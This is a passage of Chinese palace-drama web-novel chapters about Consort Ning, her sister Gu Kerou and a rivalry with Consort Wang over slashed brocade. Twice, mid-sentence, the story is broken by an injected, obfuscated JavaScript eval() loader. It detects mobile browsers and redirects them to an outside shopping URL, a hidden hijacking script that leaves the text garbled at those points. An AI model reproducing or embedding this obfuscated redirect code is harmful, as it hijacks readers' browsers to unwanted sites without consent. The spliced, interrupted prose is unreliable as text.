他此刻看着她的眼神里透着怜惜,还有更多更深复杂的东西,唯独没有邪念。他沉默片刻,握住了她的手:“我虽然是皇帝,如今也非所有的事情都能自己做主。” 她不解他为何突然如此。 他原本是宫女所出,生母身份低微,在深宫里如同透明人一般的存在。先帝在世时,邓贵妃盛宠,先帝有意立邓贵妃所出的皇子为太子,奈何于立嫡立长的祖宗规矩不合,因此国本之争绵延数年。年仅两岁出头的他侥幸被当时无宠无子的王皇后收在膝下,先帝突然病逝,他不到三岁便继位成了新帝。因他年幼,十几年来太后垂帘听政,三大重臣辅国,如今尚未还政到他手中。 她自然知道他并非事事都能自己做主。 他抬起手,轻轻抚摸她的长发。太后的态度很明确,他可以偏宠她,但不可动摇根本,譬如中宫之位。敬事房对宫里的各宫贵人信期都有存档。初次侍寝赶上她的信期,绝非巧合。 明帝离开毓德宫,宣了顾珂柔去陪伴宁昭仪。顾珂柔刚走出储秀宫,迎面便遇到了称嬷嬷,她低头行礼:“秀女顾珂柔见过嬷嬷。” 程嬷嬷开口询问:“顾秀女这是要出去?” 顾珂柔道:“圣上口谕,宣臣女去毓德宫陪伴宁昭仪。” 程嬷嬷点了点头:“顾秀女,我日前遇到了太师大人,他托我给你带句话。” 顾珂柔抬头看向程嬷嬷,眼神里带着一丝诧异,面色却并不显:“嬷嬷请讲。” 程嬷嬷道:“太师大人托我转告秀女,秀女身为长姐,对胞妹有劝诫爱护之责,如今在宫里,也唯有你才能护着她几分。” 储秀宫和毓德宫均属于西六宫,走过去并不算太远,顾珂柔却走了小半个时辰。 她到毓德宫的时候,安宁披着一件纯白的狐皮披肩正站在正殿的门廊下。两只孔雀正趾高气昂地在院子里走来走去,一只通体翠绿,一只浑身雪白。看见顾珂柔,安宁高兴地叫了一声:“姐姐。”快步向她走来。 “你看。四叔刚让人送来的孔雀。”安宁拉了顾珂柔过去看,“好不好看?” 顾珂柔看着孔雀那华丽的尾羽和高傲的模样,由衷地赞叹:“好看。” 安宁接过侍女送上来的食物,抓了一把洒下去,两只孔雀慢悠悠地走过去低头啄食。院子里冷,两人说话呼吸都带着寒气,安宁的脸冻得通红,但双眼明亮。 顾珂柔暗自观察着她。整个宫里都知道昨夜王嫔侍寝的事情,可看她的样子,丝毫没有放在心上。她眼里的笑意不似作假。 “我听四叔说,珍禽司里还有好多好看的动物,狐狸、狼、雪豹、熊什么都有。我才知道,宫里竟然豢养着这么多野物。”安宁将剩下的食物递给一旁的侍女,挽着姐姐的胳膊和她一起进了内殿。 屋子里温暖,她取下身上的披肩,这才后知后觉地摸了摸顾珂柔的手,入手冰凉。她皱眉看着她:“这么冷的天,姐姐怎么穿得如此单薄?” 储秀宫里诸秀女每日里有很多事情要做,穿得太多行动不便。她没有解释,反手握住了安宁的手:“还说我,你自己才应该好好注意。”她略带责备地看着妹妹,“我听说,前两日你在宫里,纵马伤人了是不是?” 安宁坐到姐姐身边,吩咐白蔻拿来自己的暖手炉塞到她怀里,见她抱住了才开口:“我不知宫禁不许在宫里奔马,以后不会了。” 顾珂柔担心地看着她:“可有伤着?” 安宁摇了摇头:“当时吓了一跳,王嫔姚贵人突然从角门出来,我避让不及,幸好王嫔身边的宫女勇敢,推开她挡在了前面,这才避过一劫。” 顾珂柔看向窗外,透过琉璃窗,廊下特意为猎鹰修建的立柱上海翼正收拢双翼站在那里,打量着院子里新来的两只孔雀。 雪停之后灰云散尽,天空高远一片蔚蓝。她回头看向安 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13584064|139954||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宁,伸手轻轻按住她的手:“你这样子,让我如何放心你自己一个人留在宫里?” “姐姐。”安宁握住姐姐的手,顺势靠在她肩头,“你是做好了决定,要留在宫里了么?” 顾珂柔慢慢地轻轻地呼出了一口长气。她一直为进宫做着准备,安宁却突然告诉她,有另一条路可以选。而且和进宫相比,那条路更加容易堪称坦途,这让她如何不心动?她原本十分纠结,一时想着顾着家里留在宫中,一时又想自私的替自己打算接受指婚。 在听说安宁纵马伤人后她心里便十分不安,今日又听程嬷嬷转告了祖父的那番话,她便已经做了决定:进宫。 “一入宫门深似海。”顾珂柔拍了拍妹妹的手,“苦海里若是你我姐妹作伴,也好过你一人独自沉浮。” 安宁感动地紧紧搂住了姐姐的脖子:“那我晚一点便求一求四叔,求他让你留在宫里,不要指婚出去。” 顾珂柔拉下她的胳膊:“你今日去永和宫了没有?” 安宁不解地看着她:“未曾。今日有什么事情,要去那边不可么?” 顾珂柔劝道:“昨夜王嫔侍寝,圣上开了后宫之后,她是头一个被翻牌子的嫔妃。今日去她那里恭贺的人一定不少。你便是自己不去,也应备下一份贺礼送过去。” “姐姐这么说,我理应过去恭贺。”安宁起身唤来白薇,将事情三言两语交代了两句,让她去准备贺礼,随即问顾珂柔,“姐姐不如和我同去?” 顾珂柔是待选的秀女,原本不许随意出入储秀宫。但是圣上口谕让她陪伴安宁,奉旨倒也无妨。她心里转了转,也想去看看这个大有可能会问鼎中宫的王嫔,点了点头:“好。” 王嫔从慈宁宫太后那处谢恩回宫以后,永和宫便一直很热闹。除了太后和圣上的赏赐外,内务府又送来了不少东西。除了周嫔和安宁,各宫有位份没位份的贵人才人选侍们,都带着礼物到了永和宫恭贺。周嫔人虽未到,也备下了厚礼。王嫔坐在正殿主位上,听着下座诸人对她的奉承之语,心里有一种奇妙的、高高在上的满足感和飘然感。 “娘娘。”掌事太监周公公进来通传,“宁昭仪来了。” 屋子里方才的欢声笑语突然一静,就连王嫔脸上的笑容都淡了几分,她道:“快请。” 那日在乐成殿看戏,后宫诸人都目睹了明帝对宁昭仪的偏爱,明帝在身侧只设了宁昭仪的座椅,言谈间多有关切,反观王嫔和周嫔,圣上十分淡漠。 岂料侍寝的时候,还是王嫔拔了头筹。 安宁进了正殿,众人纷纷起身互相见礼,唯有王嫔端坐在主位上未动。如今她在宫里位份最高,往日她同安宁客气互相见礼,今日却端端正正的受了安宁一礼:“臣妾毓德宫昭仪顾安宁,见过王嫔娘娘。娘娘大喜,臣妾特来恭贺。” 安宁行礼起身,这才让跟着的白薇送上了贺礼的礼单。王嫔身边的香巧收了礼单,王嫔笑道:“妹妹何必这般客气?我们姐妹们正在闲谈,妹妹快请坐。” 她说着话视线落到安宁身后,她身后跟着一个穿着秀女服饰的年轻女子,看着同安宁容貌有几分相似。她眉头轻皱:“这是?” 顾珂柔矮身行礼:“臣女顾珂柔,见过王嫔娘娘,恭贺娘娘大喜。” 王嫔听了她的名字便知她是谁,却仍笑问道:“你是这一届的秀女?怎么和昭仪在一起?” 顾珂柔回道:“臣女奉圣上口谕,到毓德宫陪伴宁昭仪,是以随昭仪前来贺喜。” 42. 41 王嫔脸上的笑容更淡,摸了摸指甲:“起来吧。” 顾珂柔起身走到安宁身后站定,姚贵人仔细看了看顾家姐妹两,打趣道:“这妹妹姿色倾城,姐姐也是花容月貌,再等姐姐入了宫,这么大两个美人儿杵在这儿,哪儿还有我们的余地?” 她虽然是用打趣的口吻说出这番话,可听者有心。原本明帝对宁昭仪的偏爱便有目共睹,再来一个顾珂柔?此话一出在场众人神色各异,看向顾家姐妹的眼神都多了几分别的意味。 李才人看了看安宁,又看了看主座上神色莫测的王嫔,突然开口:“说起来,那日宁昭仪在宫里纵马冲撞了王嫔娘娘,幸得侍女相护才得以保全。这侍女这般不顾自身安危豁出性命护主,可谓忠奴。也不知她伤得如何?现下可好些了?” 王嫔淡淡道:“那日是意外,非宁昭仪之责。” 李才人笑道:“娘娘心善,可别要纵得旁人不知规矩才好。” 姚贵人接过了话头:“那侍女伤得颇重,内腹受损,胸骨也折断了几根。娘娘心慈,挪了她出宫去,着人好好伺候着在将养。” 下面的梁选侍轻轻地啊了一声,拿手帕遮了唇:“竟然伤得这般严重?这要是冲撞了娘娘可如何是好?” 姚贵人叹道:“幸好那侍女挡着,娘娘才免了这场灾祸。” “宁昭仪。”梁选侍起身冲着安宁遥遥福身行礼,“臣妾记得宫中有禁令不许奔马,昭仪虽得圣上宠爱,却也应如我等一般安分守己才是。幸好没有冲撞了娘娘,若真是伤着娘娘,可如何是好?” 她们你一言我一语,话里的矛头都尖锐地指向了安宁。 王嫔看向一直保持着沉默的安宁:“你莫见怪,这帮姐妹也是为你我担心,全然都是好心。” “担心娘娘是真,全然是好心却也未必。”这帮后宫女眷,一个个看着她们姐妹的眼神极为不善,言语中又多有排挤斥责,安宁早听得极为不耐,她起身同王嫔行了一礼,“我今日前来原是同娘娘贺喜,没想到却成了众矢之的。各位既然这般看不惯我,我也不便多留,白白碍了你们的眼。”安宁看向王嫔,“娘娘,臣妾告退。” 说罢竟真的不再多看众人一眼,转身便走。 梁选侍在安宁经过她身前时开了口:“宁昭仪,日子还长着呢。何必因为一时的恩宠便这般跋扈失了人心?忠言逆耳,我等属实是好心提醒。” 安宁停下脚步看向她,冷笑一声:“你说的对,日子还长着呢。你这般急于攀附的嘴脸也未免太猴急了些。”说罢拂袖而去,留下梁选侍在那,脸上青一阵红一阵,神色极为难看。 永和宫一时落针可闻。梁选侍起身对着王嫔行礼,委屈地开口:“娘娘,宁昭仪这般恃宠而骄,如此跋扈,这还没有侍寝,若是待她侍了寝,岂不是要傲到天上去?哪儿还有我们姐妹的生路?” 王嫔轻叹一声:“她还年幼,家里百般宠爱着长大,如今又得了圣上青眼,难免脾气大了些。大家都是姐妹,彼此忍让点,莫要闹出龃龉,让太后忧心圣上不悦。” “还是娘娘有雅量,不似那宁昭仪,我等好心说了两句,便这般下人脸面。”梁选侍感动地看着王嫔,“娘娘这般才有母仪天下的风范,我等日后定唯娘娘马首是瞻!” 众人纷纷起身行礼,众口同声道:“我等定唯娘娘马首是瞻!” 王嫔脸上露出了发自内心的笑容:“诸位妹妹请起。” 安宁出了永和宫,神色依然极为不悦。她一时生气,走得脚下生风,顾珂柔快走几步跟上拉住了她:“别气,气坏了身子还不是自己吃亏?” “姐姐,你方才看见了吧?”安宁停下脚步,“我好心去贺喜,这帮人一个个的,乌眼鸡一样的瞪着我,恨不得把我啄死,话里话外都在说我不是。一个个踩高捧低的,都想踩着我去奉承王嫔。” 顾珂柔捂住了她的嘴,她瞪大了眼睛看着姐姐,眨了两下,顾珂柔才放开了她,轻声劝诫:“你就是再气,也不好在甬道上这般言语。” 若说她先前对于进宫的决定心里还有几分遗憾和犹豫,眼下已经全然烟消云散。安宁被明帝偏爱,已是明晃晃的众矢之的。以她的脾气性格,以后免不了吃大亏。祖父说得对,她需得留在宫里护着她,护着顾家,不给有心人可乘之机。 养心殿里,明帝正在看折子。王太后虽然还没有还政于他,但是一应国事政务,从他满了十六岁之后,慢慢开始让他接触。这一年多来他一直虚心同三位辅政大臣学习处理政事,渐渐摸清了脉络,王太后如今也会将一些不算太重要的庶务交给他处理。 黄大伴替明帝换了杯热茶,轻声开口:“圣上,白薇姑姑来了。” “哦?”明帝抬起了头,“请她进来。” 白薇原在他面前当值,安宁入宫之后,他将她调往毓德宫做了掌事宫女。 白薇进殿低头行礼,明帝开口询问:“出了什么事儿?” 白薇便将方才在永和宫发生的事情一五一十讲了一遍。 后宫里一向踩高捧低,为了名利争斗不断。只是没想到这帮人这般迫不及待,王嫔方侍寝,她们就一个个聚了上去。这是押宝在王嫔身上,笃定她背靠太后,定能成为中宫之主。 明帝问道:“宁昭仪现下在哪儿?” 白薇恭谨回答:“昭仪原本气着,顾秀女安抚住了她,如今回毓德宫去了。奴婢便瞅了个空,来回禀圣上。” “你做的很好。”明帝温言夸赞,“你还在当值,回去吧。” 白薇应声退下。 明帝复又拿起折子,看了片刻却始终心绪不宁。她在永和宫受了排挤,她何时受过这样的委屈?这会儿还不知道怎么憋气。他放下手里的公文对黄大伴道:“去毓德宫。” 顾珂柔前脚刚走,明帝就到了毓德宫。在姐姐面前安宁虽然打着精神,她离开后她便斜倚在临窗的大炕上看着窗外的孔雀发呆。本来月信隐隐作痛就心烦,今日闹了这么一出,她更加不快。 她眼见明帝进了院子,便下炕去迎。他伸手扶住她阻止她行礼:“你姐姐呢?回去了?” “回去了。”安宁没什么精神,“储秀宫有宫禁,她也不好在我这里留太久。而且我听白薇姑姑说,那边还有不少宫务。四叔,你总让她过来陪我,她回去还要完成繁重的宫务,反倒给她增加了负担。” “是我思虑不周。”明帝道,“我这便让人去吩咐一声,她若来陪你,便免去她当日的值务。” “四叔。”她随着他落座,神情里带着几分委屈,“我想让姐姐一直来陪着我,不要这么来回折腾她了。” 他问:“一直陪着你?” 她软声问他:“好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13592547|139954||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不好?” “你若想她陪着,自然没有什么不好。宫里你也好有个亲近的人。”他沉吟片刻,唤来黄大伴,“你去储秀宫传旨,封秀女顾珂柔为贵人,赐居……” 安宁轻轻握住他的胳膊:“我想同姐姐住在一起。” 他原是想让毓德宫里只有她一人。既然她觉得孤单,他便顺了她的意:“……赐居毓德宫。” 安抚好了安宁,明帝回了自己的寝殿。敬事房又端来了银盘请他翻牌子。王嫔的牌子被刻意摆到了盘子正中。他的视线在上面停留了一瞬,一一扫过去,看见了梁选侍的名字。他看了身旁的黄大伴一眼,黄大伴会意,拿起那个绿头牌扔给敬事房的小太监:“这牌子怎么做的?这字刻得这般碍眼,拿回去重做。” 小太监战战兢兢接了牌子应下,明帝这才伸手翻了周嫔的牌子。 永和宫里王嫔仔细打扮了一番,满心期待地等待着。她特意打点过敬事房的人,将她的牌子放在最显眼处,这样圣上念着昨夜的恩情,大有可能今夜还会翻她的牌子。她正揽镜自照,见香巧进了寝殿。她转身含笑看着自己的贴身侍女:“如何?” “娘娘。”香巧不敢抬头看她,“圣上今夜翻了周嫔的牌子。” 王嫔脸上的笑容一僵,双肩慢慢地沉了下去。她伸手拔下头顶的钗环放到一旁,沉默片刻后她开口自我安慰:“她初入宫也是嫔位,祖父又是内阁首辅,今夜她侍寝也是应当。” 话虽如此,她眼里却满是掩不住的落寞。 香巧没有动,王嫔看了看她:“还有什么事?” 香巧小心回答:“娘娘,晚间的时候圣上传旨,封了顾秀女为贵人,赐居毓德宫。” 王嫔冷笑一声:“好个太师府,专会教这些魅惑人心的狐狸精。一个顾安宁不够,又来了一个顾珂柔。两姐妹住着一个寝殿,离着圣上又只有寸步之遥,这是要效仿合德飞燕不成?!”她越说脸上神情越怒,她突然扭过头去不再说话,竭力压着心里翻涌的怒气。 和愤怒的王嫔不同,安宁满心欢喜地在寝宫里等待着姐姐顾珂柔的到来。 她住着正殿,着人收拾出了南面的偏殿。内务府接旨听说是毓德宫的事情,一点没耽误,赶紧带人来好生拾掇布置了一番。天擦黑的时候,顾珂柔便从储秀宫迁了出来,来到了毓德宫。 安宁一直在宫门前等着,远远看见顾珂柔她高兴地迎了上去:“姐姐!” 顾珂柔还穿着秀女的服饰,她的东西不多,一个包袱就全部装了进去挽在臂弯里。白薇上前接过了她的包袱,顾珂柔轻声道谢:“多谢姑姑。” 毓德宫门口挂着几盏照明用的宫灯,映亮了朱红色的宫门。顾珂柔在宫门前站了一站,抬头看着其上的宫名牌匾。安宁察觉到姐姐没有跟上,回转过身:“姐姐?” 顾珂柔收回视线,抬脚迈过了宫门的门槛。这一步迈过去,她就不再是顾珂柔,而是顾贵人了,从此如安宁一般,成为了大宁后宫的一部分。 两姐妹刚坐定,白薇便来报:“昭仪,贵人,内务府送来了圣上的赏赐。还有慈宁宫的姑姑送来了太后的赏赐。” 两人赶紧出去接旨谢恩,看着东西流水一样的送进来。顾珂柔还没有侍女,白蔻和沉香帮着清点入库。正忙着,白薇又来通传:“昭仪,永和宫的香巧送东西来了。” 43. 42 安宁看着永和宫送过来的东西。永和宫送了五匹布过来,安宁随意拿了一匹看花色,白蔻接过布和沉香两人将其展开,岂料刚展开半丈左右,就见那布匹上出现了道道划痕,似是用利刃将其割裂。 安宁站起身,摸了摸那布上的裂痕,手掌轻而易举穿了过去。她令两个丫鬟检查余下的几匹布,这才发现都是表面看上去光鲜,展开不久里头都破破烂烂,被利刃割得乱七八糟。 安宁勃然大怒:“她这是什么意思?!便是赏赐也没有这般故意恶心糟践人的!”她命丫鬟拿了布,便要去永和宫找王嫔。 顾珂柔赶紧将她拦下:“只是几匹布而已,咱们本也不缺这点东西,犯不上为了这点事儿去寻她。” 安宁看着姐姐:“难不成就这般被她羞辱?她用这样阴柔的手段恶心人,你能忍,我忍不了!” 顾珂柔拉住了她:“你听我一句劝,咱们以后在宫里的日头还长着,还不知要面对多少或阴柔或狠毒的手段,这么点小事你都要闹将起来,岂有宁日?” 安宁拂开了顾珂柔的手:“姐姐,有没有宁日,非你我所能定。我们想过安稳日子,旁人未必能见你我好,放我们过安稳日子。有了初一就有十五,事儿是小事,开了这个口子忍了,以后人人都当毓德宫是软柿子,谁都能踩上我们几脚!你可愿意?!”说罢不等顾珂柔再开口,对丫鬟们道,“去永和宫!” 顾珂柔拦不住她,只好跟了上去。 永和宫里,王嫔已经换下了盛装,梳洗后换了一身常服。她正坐在铜镜前由着梳头丫鬟给她放下头发,周公公来传话:“娘娘,毓德宫的那两位来了。” “哦?”王嫔神色淡淡地,“这么晚了,还来做什么?同她们说我要安歇了,有事明日再说。” 周公公道:“奴才瞅着宁昭仪满面怒容,顾贵人在一旁劝诫着,她宫里的丫鬟抱着咱们赏赐过去的几匹布。” 王嫔神色动了动,从铜镜里看向周公公,唇角浮起一丝笑意:“她要来永和宫闹事?那就请她进来罢。” 安宁一行人进了殿,见王嫔一身准备安寝的打扮,看见她们姐妹二人微笑道:“这么晚了,两位妹妹怎么突然来了我这里?” “娘娘赏赐了东西。我们自然要过来谢恩。”安宁挥挥手,让身后抱着布的白蔻沉香上前。她从沉香怀里抽出来一匹,抓着布的尺头用力一抖一扔,锦缎哗啦啦展开摔落在地,露出里面乱七八糟的裂痕,“只是娘娘赏的这东西,我们无福消受。” 她一边说,一边又抖开了另外几匹,皆是破破烂烂,展开后惨不忍睹。安宁踩在破布上对王嫔道,“这样的好东西,谁敢用?” “这是怎么回事?”王嫔皱眉看向一旁的香巧,“让你去毓德宫送东西,你怎么挑了些陈年的布,这都朽坏了!你便是这么办的差事?!” “娘娘,冤枉啊。”香巧噗通一声跪在地上,“娘娘的吩咐,奴婢哪儿敢不好好办差?这些是奴婢亲去库房挑选,今年新贡的新色新花纹的云锦,奴婢检查好了才送去的毓德宫。至于为何会变成这般模样,奴婢也不知啊!” “你不知?”安宁冷笑,“你这意思,是我故意弄坏了锦缎来陷害你们不成?!” “宁昭仪。”王嫔声音冷了下去,“你的意思,这事儿是本宫刻意为之了?!” 安宁丝毫不退地迎着王嫔的目光,针锋相对:“是不是刻意你自己心里清楚。” 王嫔神色一沉:“你可有实证此事是本宫为之?!本宫好心赏赐新贡的云锦,倒惹得你们来大闹一场!你未免也太恃宠而骄,不将旁人放在眼里!” “你表面端庄大度,实则为人心胸狭窄,小肚鸡肠!”安宁冷冷看着王嫔,“这般阴柔恶心人的手段,你敢做,怎么不敢认?你当这般羞辱我姐妹,我们便会暗地里隐忍不成?!” 乾清宫里,周嫔刚刚被送进内殿。她被送过来,在宫女们的伺候下沐浴后裹在一床厚厚的被子里,人鱼一般被送上了龙榻。她心里忐忑不安,止不住地紧张,平躺着看着龙床明黄色的幔帐顶,感觉到心脏砰砰乱跳,安静等待明帝的到来。 一旁的偏殿内,明帝还在看着折子。黄大伴进来通传:“圣上,周嫔娘娘已经到了。您也看了一天折子,是时候安寝了。” 明帝放下手里的折子,捏了捏眉心,神色间隐见疲惫,他站起身,穿过长廊和天井回了寝殿。周嫔听见寝殿的门被推开,心里更加紧张,含羞带怯地看向宫门的方向,见明帝换上了一身明黄色的寝衣步入殿内。 他身量高,肩宽腿长,因着平日里习武的原因,虽然看着略显清瘦实则肌肉结实。烛火下他清隽的脸淡漠的眼神都让她的心砰砰乱跳,却不再是因为不安,而是羞怯期待。 她轻声开口,声音娇媚,柔软蕴含着万般情意:“圣上。” 明帝刚在龙床边落座,外面传来黄大伴的声音:“圣上,白姑姑来了。” 明帝闻言起身,一声不发地走了出去,周嫔不敢问也不敢动,只得在龙榻上继续等着。 白薇候在偏厅,见着明帝矮身行礼,匆匆开口:“圣上。王嫔娘娘赏赐了故意弄破的云锦给顾贵人。宁昭仪拿了锦缎去永和宫寻娘娘评理,言语间二人起了冲撞,王嫔娘娘斥责宁昭仪和顾贵人目无尊上,要责罚她们。奴婢不敢耽搁,只得逾矩前来报信。” 明帝眉目一沉,看向黄大伴:“过去看看。” 黄大伴赶紧命人准备软舆,自己则匆匆取来常服替明帝更衣。 周嫔还在空无一人的内殿里等着,又过了小半个时辰,进来几个太监,一言不发地又将她抬起,在她的满心不解中将她送回了启祥宫。 待几个太监退下,才来了一个乾清宫当值的老嬷嬷:“娘娘,圣上吩咐了一声,他今儿个尚有旁的事情要处理,还请娘娘回宫早些安歇。” 等到人都离开,周嫔才坐起了身。丝缎般的长发从她光裸的皮肤上滑落,她拉起被子遮住自己,咬了咬唇满心不安。发生了什么事情,让圣上将她从乾清宫送回了启祥宫? 她开口唤来了自己的贴身宫女予瑶:“你想法子打听打听,今夜宫里出了什么事。” 予瑶领命而去。 永和宫中,安宁的话让王嫔动了真火。她的目光放在中宫宝座之上,如今安宁说她表面端庄实则心胸狭窄小肚鸡肠,这样的话要是传了出去,于她极为不利。 她板起了脸,冷冷开口:“宁昭仪,本宫好心赏赐,你却来本宫宫里闹事。原是念着你年纪小,不想同你多做计较。如今你却这般出言不逊目无尊上,本宫不罚你却是不行了!” “你罚我?”安宁冷笑看着她,“便是要罚,那也是太后同圣上的事!你我同为嫔妃,你有什么资格罚我?今日之事,我不亏半分理,若是旁人得知,还不知怎么看你这种下作恶心人的手段!” 王嫔心中怒火升腾,一拍椅子扶手:“本宫是嫔!是一宫主位! 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明帝目光落到地面已经被踩得乱七八糟的云锦上,看着上面乱七八糟的划痕:“糟蹋东西。” 王嫔面色一白,低头退到一旁,不敢多言。 安宁受了半宿气,这会儿见了明帝,眼眶微红,倔强地站在他身侧:“不是我弄的!这云锦送到毓德宫的时候,一打开就已经是这幅模样。我实在气不过,才来问王嫔娘娘,若是诚心赏赐,为何又要这般暗地里羞辱我姐姐!” 顾珂柔上前在明帝面前跪下:“圣上,此事皆因臣妾而起,宁昭仪乃念及手足之情,是臣妾的不是!” 明帝虚抬了一下手:“你起来吧。” 顾珂柔起身,站到了安宁身侧。 明帝没有说话,安静地看着王嫔,王嫔心里惴惴,强笑着同明帝分辨:“圣上,臣妾也不知为何会这样。香巧在库里好生检查了才送去毓德宫……” 她在他平静地注视下声音越来越小,最后低不可闻,垂头跪在了他面前,不敢再替自己分辨。 香巧眼见情势不对,从后扑了出来,噗通跪在明帝面前叩头:“圣上!此事同王嫔娘娘无关!是白日里宁昭仪对娘娘无礼,娘娘心善不同她等计较,夜里还要送赏赐过去。奴婢实在气不过,这才私底下拿了利刃将云锦划烂,想着她们接了赏赐也不敢声张……求圣上恕罪!求圣上恕罪!” 明帝的视线落到香巧身上,又慢慢抬眼看向王嫔,那眼神看得她心里发寒,毛骨悚然,不由得紧紧捏住了手里的帕子。 片刻后他站起了身,对王嫔道:“既然你宫里已经有人出来领了罪,你说你是一宫主位,有协理宫务之责。那就将此事交给你,朕看看你如何处理。” 说罢不再多留也不多看她一眼,迈步向外走。他手里还牵着安宁的手,安宁不得不快步跟上。 她边走边扭头看了王嫔一眼,这一眼里有讥讽有嘲笑还有淡淡的怜悯,像一把看不见的利刃扎入了王嫔的心口。 等到众人都离开,王嫔颓然坐下。香巧膝行到王嫔身旁:“娘娘……”王嫔苦笑,轻声开口:“知道什么是偷鸡不成蚀把米么?这就是了。” 安宁被明帝拉出了永和宫,明帝叫来软舆先行送顾珂柔回宫,却扣下了安宁没有放她离开。 “四叔。”安宁低着头看着他握着她的手,“是不是我来永和宫惹你生气了?” 44. 43 “为何不去找我?”他温言问她,“发生了这样的事,不该来寻我给你主持公道?你这么自己冲到她的寝宫,若是她铁了心要罚你,谁能护着你?” “这点小事也要去寻你主持公道?”她低着头掰着自己的手指,“不过是几匹布罢了,我不愿忍气吞声,是不想让旁人觉着我们是软柿子谁都可以任意拿捏。” 他叹了口气:“你受了委屈应该来找我。”他复又握住她的手,转身往前走,“我和你说过,凡事有我。你该让我出面主持公道,不是自己傻乎乎冲去和她发生冲突。” 她小声分辨:“这么点小事也去找你。一次两次或许还好,天长日久的次数多了,难免会让你觉得心烦。再者说,我事事都依赖你,岂不是平白无故给你增添了许多麻烦?” 月光洒下清辉,照亮了脚下的路。 “你不是麻烦。”他道,“以后遇到事情不要再这般冲动,我再说一次,凡事有我。” “四叔。”她突然道,“你不像皇帝。” “哦?”他问她,“在你眼里,皇帝应该是什么样的?” 安宁想了想:“我也不知道应该是什么样,但是肯定不是你这样。你护着我的样子,像我爹。” 他失笑,伸手揉了揉她的头顶。 他看着她的眼底深处满是怜爱。 安宁说得对,他对她的宠溺不似君王对后妃也不似丈夫对妻子,更似父亲对女儿,时时总觉亏欠,总怕自己张开双臂护不住她的一片天空。 她性格活泼跳脱,若是在宫外顾家定会给她寻一门好亲事,让她过着自由自在的生活。她因为他一己私心入了宫,从此被困在这高高的宫墙内。看着她他想起了年幼时的自己。他在补偿安宁,又何尝不是在通过溺爱她,去补偿那个年幼时的自己。 他是傀儡是提线木偶,他的安宁不可如他一般,就应活得恣意潇洒,哪怕是在这深宫内,只要有他,她就可以做她自己!护住她,也就是护住了内心那个想要冲破束缚的自己。 他低头看向她的腰间:“我给你的玉牌呢?” 他说的是当日在广宁寺他送给她的那块青玉牌,让她若是有事需要帮助,拿了这块玉牌去黄大伴府上托他向他传话。 她道:“我吩咐沉香好好地收着呢。” 他嘱咐道:“日后时时佩戴在身上。那是我的私玉,上面细微处刻有我的名字。若再遇到今日这般的情形,你可拿出玉牌来,见此玉牌如朕亲临。先保全自己,再让人通风报信。”他又长叹一口气,以她的性子,必然免不了还会发生类似的事情,“不过我还是希望有事情你能来寻我,不要再这般冲动。” 安宁淘气地看着他:“四叔,这是传说中的免死金牌嘛?” 他由着她:“你说是便是。” 她欢快地放开他的手,在原地转了个圈:“我看以后谁还敢欺负我!” 他伸手护住她:“小心摔着!” 慈宁宫正殿。屋子里四角亮着羊皮宫灯,每盏灯里都点着数根小儿手臂粗细的蜡烛,将整个宫殿照耀得仿如白昼。王嫔跪在地上,清清楚楚地看见了太后脸上的不耐:“你如今是后宫之首,理应做个表率。你这般行事如何服众?” “太后赎罪。”王嫔为自己辩解,“臣妾见毓德宫势大,才想着压一压顾家姐妹。” 太后看着一旁的宫灯半晌没有开口,王嫔心里越发不安,深深地叩首下去,“姑母,侄女儿虽与圣上圆了房,却仍是争不过那宁昭仪半分。侄女儿也是一时心急才做了蠢事,求姑母恕罪!” “你说得对,你确实心急,因而做了蠢事。”太后慢悠悠地开口,“哀家已经提醒过你,目光放长远些,不要纠结眼前的一点小得失。” 王嫔低声颓然道:“可侄女儿不得圣上欢心……” “你再这般行事,只能更失圣心。”王太后心里叹了口气,她垂帘听政十几年,王氏家族势大,族中这些嫡女个个都是娇养着长大。入宫前她们想要什么就没有得不到的,如今入了宫,遇到一个被明帝溺爱的顾安宁,都正是年轻气盛的年龄,沉不住气也在情理之中。 她耐下心来教导,“中宫之位,从来并非得圣上恩宠便能得到!你是王氏家族的嫡女,让你入宫就是为了延续我们王氏一族的荣耀。你应贤德端淑,目光放在如何治理后宫辅佐圣上之上!你要做的是诞下皇子!至于圣上的心在谁那里,不重要。再受宠的嫔妃都是一现的昙花,后宫里只有三个主子:哀家、圣上和皇后!你可记住了?” 王嫔垂头应下:“臣妾谨记。” 次日一早,顾珂柔备下赔罪礼去了启祥宫。 周嫔在正殿见了她,两人一见面,不等顾珂柔行完礼,周嫔便快走几步上前扶住了她:“一些日子不见,你倒要同我这般虚礼了。” 顾珂柔道:“是我误了你的大事,既然来赔礼,自当有个赔不是的样子。” 周嫔取笑道:“什么大事不大事的,莫非圣上还能只翻一次我的牌子?没有今日总有明日,迟早的事罢了。你还怕我因此记恨你?” 两人携手落座,顾珂柔道:“昨夜误了你,我总归过意不去。” “你也不是诚心,有何过意不去?”周嫔笑看着她,“倒是你入了宫,以后要常常来陪我才是!” 周嫔和顾珂柔自幼相识。周嫔的父亲周玉和顾家姐妹的父辈顾林颜、顾林书兄弟两情同手足。周嫔性子清冷,不大与外人打交道,但是和顾珂柔自幼关系便极好。 “让我看看你带了什么赔礼。”周嫔招手让宫女奉上顾珂柔带来的东西,她掀开一看脸上就露出了笑容,“果然是我爱吃的,猜着你也会带这个来!”她说罢让宫女将东西放在面前,自己就手取了一个糕点送进嘴里,“很久没吃你亲手做的蒸糕了。” 